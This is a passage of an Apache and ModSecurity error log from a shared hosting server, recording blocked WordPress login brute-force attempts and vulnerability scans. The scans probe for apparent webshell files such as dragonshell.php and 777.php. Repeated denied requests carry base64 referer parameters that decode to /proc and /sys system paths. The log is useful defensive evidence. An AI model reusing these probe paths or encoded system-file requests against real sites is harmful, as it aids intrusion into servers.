18:07:40.023572 2026] [security2:error] [pid 531155:tid 531321] [client 148.113.209.179:47450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wzCmiP80klyS0Nnrl0gAAAS4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:40.035511 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:07:40.035791 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:07:40.040855 2026] [security2:error] [pid 531155:tid 531277] [remote 17.241.75.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzCmiP80klyS0Nnrl1AABFXk"] [Sat Jun 13 18:07:40.043405 2026] [security2:error] [pid 531797:tid 532109] [client 191.233.234.186:53500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/wp-scanner.php"] [unique_id "ai3wzMTA7b1mZrmcA-8JwQAAAoI"] [Sat Jun 13 18:07:40.064846 2026] [security2:error] [pid 531155:tid 531362] [client 191.233.234.186:44238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/dragonshell.php"] [unique_id "ai3wzCmiP80klyS0Nnrl1QAAAVc"] [Sat Jun 13 18:07:40.104423 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:40.104858 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:40.170139 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.98:36508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:40.170421 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.98:36508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:40.189914 2026] [security2:error] [pid 531797:tid 532044] [client 20.151.217.54:48620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/rum.php"] [unique_id "ai3wzMTA7b1mZrmcA-8JxgAAAkM"] [Sat Jun 13 18:07:40.243380 2026] [security2:error] [pid 531797:tid 531979] [remote 17.246.23.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzMTA7b1mZrmcA-8JxwACNHI"] [Sat Jun 13 18:07:40.286025 2026] [security2:error] [pid 531155:tid 531368] [client 20.151.217.54:58152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/777.php"] [unique_id "ai3wzCmiP80klyS0Nnrl3QAAAV0"] [Sat Jun 13 18:07:40.312709 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.76:36101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:40.313044 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.76:36101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:40.390114 2026] [security2:error] [pid 531155:tid 531333] [client 148.113.209.179:47456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wzCmiP80klyS0Nnrl4QAAATo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:40.465894 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.83:54218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:40.466170 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.83:54218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:40.501517 2026] [security2:error] [pid 531155:tid 531346] [client 20.151.217.54:58191] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/s-axi.php"] [unique_id "ai3wzCmiP80klyS0Nnrl4gAAAUc"] [Sat Jun 13 18:07:40.524662 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:40.524939 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:40.678349 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:40.678809 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:40.708442 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.54:55231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:40.708727 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.54:55231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:40.731089 2026] [security2:error] [pid 531797:tid 532069] [client 20.151.217.54:58186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/wp-scanner.php"] [unique_id "ai3wzMTA7b1mZrmcA-8J2wAAAls"] [Sat Jun 13 18:07:40.895321 2026] [access_compat:error] [pid 531797:tid 531911] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:07:40.895620 2026] [access_compat:error] [pid 531797:tid 531911] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:07:40.919772 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.38:55635] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:40.920093 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.38:55635] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:41.008033 2026] [security2:error] [pid 531155:tid 531379] [client 20.151.217.54:58200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/crgio.php"] [unique_id "ai3wzSmiP80klyS0Nnrl7QAAAWg"] [Sat Jun 13 18:07:41.033228 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:41.033516 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:41.119122 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMyNjQz [Sat Jun 13 18:07:41.119559 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMyNjQz [Sat Jun 13 18:07:41.176686 2026] [security2:error] [pid 531797:tid 531998] [client 20.151.217.54:65224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/wpconf.php"] [unique_id "ai3wzcTA7b1mZrmcA-8J6gAAAhY"] [Sat Jun 13 18:07:41.292872 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.92:34306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:41.293167 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.92:34306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:41.365704 2026] [security2:error] [pid 531155:tid 531301] [client 172.171.3.232:18470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/bless5.php"] [unique_id "ai3wzSmiP80klyS0Nnrl9QAAARo"] [Sat Jun 13 18:07:41.418666 2026] [security2:error] [pid 531797:tid 531867] [remote 17.246.19.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzcTA7b1mZrmcA-8J9wACbQM"] [Sat Jun 13 18:07:41.467710 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.22:29114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:41.468178 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.22:29114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:41.481799 2026] [security2:error] [pid 531797:tid 532126] [client 20.151.217.54:58116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/ops.php"] [unique_id "ai3wzcTA7b1mZrmcA-8J-wAAApE"] [Sat Jun 13 18:07:41.509303 2026] [security2:error] [pid 531155:tid 531199] [remote 17.22.237.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzSmiP80klyS0Nnrl9wABiCs"] [Sat Jun 13 18:07:41.527070 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.9:60098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:41.527335 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.9:60098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:41.588959 2026] [security2:error] [pid 531797:tid 531874] [remote 152.53.111.131:57160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nucreativesolutions.com"] [uri "/wp-login.php"] [unique_id "ai3wzcTA7b1mZrmcA-8KAAAChgo"] [Sat Jun 13 18:07:41.595218 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:41.595674 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:41.677264 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0MA== [Sat Jun 13 18:07:41.677711 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0MA== [Sat Jun 13 18:07:41.716642 2026] [security2:error] [pid 531155:tid 531295] [client 20.151.217.54:58237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/fix.php"] [unique_id "ai3wzSmiP80klyS0Nnrl_wAAARQ"] [Sat Jun 13 18:07:41.745262 2026] [security2:error] [pid 531155:tid 531326] [client 172.171.3.232:37500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3wzSmiP80klyS0NnrmAgAAATM"] [Sat Jun 13 18:07:41.847633 2026] [security2:error] [pid 531155:tid 531157] [remote 17.241.219.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzSmiP80klyS0NnrmBAABcQE"] [Sat Jun 13 18:07:41.855943 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.13:57505] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:41.856214 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.13:57505] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:41.876541 2026] [security2:error] [pid 531155:tid 531386] [client 20.9.67.71:64648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/spawns.php"] [unique_id "ai3wzSmiP80klyS0NnrmBgAAAW8"] [Sat Jun 13 18:07:42.132134 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:07:42.132576 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 